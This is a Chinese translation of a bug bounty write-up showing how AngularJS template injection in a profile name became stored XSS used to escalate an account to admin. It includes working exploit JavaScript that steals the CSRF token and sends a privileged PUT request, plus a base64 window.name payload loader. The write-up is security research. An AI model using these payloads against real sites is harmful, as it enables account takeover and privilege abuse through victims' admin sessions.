Bug Bounty:利用基于AngularJS的XSS进行权限提升
2019-08-19 01:00:00 Author: xz.aliyun.com(查看原文) 阅读量:129 收藏

大家好,我是Shawar Khan。因为我正忙于测试不同的目标,所以我已经好几个月没有写过wp了。最近我在目标中发现了一个有趣的XSS漏洞,使用该漏洞我可以将我的权限升级为管理员用户。
XSS是一个非常有趣的漏洞,在发现它之后,您可以轻松地与应用程序进行交互,而不必担心同源策略。一切都在我的掌控之中,大部分的保护措施都被破坏了。
因此,管理员用户可以添加/删除/编辑任何用户。因此,我的目的是通过XSS将我的权限升级为管理员用户。我有一种癖好,每次当我发现XSS时候,我想用一种独特的方式来利用XSS。窃取令牌、绕过CSRF保护或窃取cookie等利用方式对我来说已经不新鲜了,因此我这次打算利用XSS来提升权限。
在我的测试期间,发现了多个XSS漏洞,其中一个有趣的漏洞是在User Profile页面发现的。每个注册用户都有一个不同的个人资料页面,例如“https://www.site.com/users/username-here”.

这是一个反射所有权限用户都可以访问的用户帐户的名字和姓氏的页面。应用简单的测试探针,例如"><img src=x onerror=prompt()>未显示任何结果,该应用程序有XSS保护。所有特殊字符都已正确过滤,但我突发奇想,为什么不尝试基于AngularJS的XSS,转到设置并将帐户名更改为{{alert(1)}}

因此,我作为不同的权限用户测试了相同的东西,导航到我的个人资料/users/username_page会触发有效负载,从而确认任何用户都可以访问它:

尝试升级权限时,主要目标是查找编辑用户的功能,或者邀请您访问不受限制的区域的功能。在我的例子中,admin用户有权编辑/添加用户,所以这是我的目标。
在我的例子中,我有一个管理员帐户来测试这个问题,所以我知道我必须复制什么请求才能添加一个新的管理员权限用户。在没有访问权限的情况下,可以通过发送document.body.innerHTML的输出获取admin帐户的源代码。并尝试获取有关内部功能的信息。可以利用XSSHunter和其他工具获取此类信息。

无论如何,username字段的长度限制很短,因此不可能在该字段中编写整个利用漏洞代码。用户名还会在个人资料页面中添加条目,此外它也会显示为恶意内容。此外,不可能注入引用外部javascript的脚本标记。
像往常一样,通过window.name编写我们payload。我习惯通过window.name编写payload,这可以绕开漏洞限制和加载利用漏洞代码的payload限制为20个字符这一列问题,我们将只加载给定的payload并将其提供给eval(atob(top.name)
使用此技术的另一个好处是,它将绕过许多恶意验证检查。由于我们的主要payload不会在易受攻击的应用程序中输入,所以简而言之,我们的payload不会得到验证和检查。
因此,可以通过使用window.open(url,"window name here")打开URL来设置窗口名称,我们用Base64加密payload。因此,通过调用window.name,它将返回我们的payload,该代码将由eval()执行。

在管理员门户中可以修改用户,最高权限的用户能够更改应用程序的任何用户的数据和权限。有不同的选项,如电子邮件更改和复选框来确认用户是否具有更高的特权。通过设置参数“csc=1”,用户将被授予完全权限,但这只能由admin用户完成。
如果只检索到源代码,则可以通过审查源代码并了解哪些端点采用哪些参数来映射所有功能。
以下是将用户修改为管理员和具有完全权限用户的请求:

POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1

为了升级我们的权限,我们可以重现上面的请求,因此当我们的漏洞利用代码被更高权限的用户访问时,我们的用户权限将被修改。

我们要做的第一件事是检索CSRF令牌,以便我们可以验证请求。有时候它会自动存在于cookie中,因此从document.cookie中检索它是相当容易的,但有些情况下,它是在元标签中找到的,例如:

< meta  name = “CSRF_TOKEN”  content = “TOKEN_HERE” >

我使用fetch()打开了位于/settings的设置页面,并将其输出存储在一个变量woot中。然后我使用woot.getElementsByTagName('meta')[3]['content']检索 CSRF token 的值并将其存储到新变量csrf_token中,现在我们的利用代码变成了:

var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){

woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content']
...
...
...

现在我们可以使用XHR重现请求:

function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}

执行上面的privilege_escalate()函数将发送一个POST请求,该请求将更改攻击者帐户的信息,在我的例子中,该帐户是mrs-camylle-kertzmazevalwindowname,并且还将名称更改为我们的有效负载{{eval(atob(window.name))}},因此,当window.name具有漏洞攻击代码时,它将用于执行window.name中的漏洞攻击代码.此外,此请求具有csc=1,它将更改我们用户的权限。

// XSS Exploit code for Privilege Escalation
// Author: Shawar Khan

var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){

woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();

function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}

}
)

攻击代码可以进一步进行base64编码,并用作window.name,因此当通过eval(atob(window.name)执行时,它将被触发。我们现在可以使用以下代码打开我们的配置文件页面,并将我们的利用代码设置为window name。因此,一旦window.name被访问,我们的漏洞利用代码就会被触发:

<script>window.open('https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname','dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxLm9wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlLm9yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop')</script>

在下面的屏幕截图中,我们可以看到我们的用户可以访问有限的功能:


在较高权限的用户中成功执行我们的攻击代码后,我们的帐户将具有最高权限和对管理功能的访问权限。

每当测试XSS漏洞时,不要在应用程序正确过滤用户输入(如<>和其他字符)时停止。更进一步,尝试其他实现XSS的技术,如本文中提到的技术。尝试使用{{alert(1}}或尝试上传.swf、.svg、.html、.url等文件。
了解漏洞的局限性和使用范围,在XSS的情况下,尝试与独特的功能进行交互,看看您还可以实现哪些功能,而不仅仅是一个弹出窗口。
尝试一些独特的东西,打破思维定势!

原文:https://www.shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html

文章来源: http://xz.aliyun.com/t/6019
如有侵权请联系:admin#unsafe.sh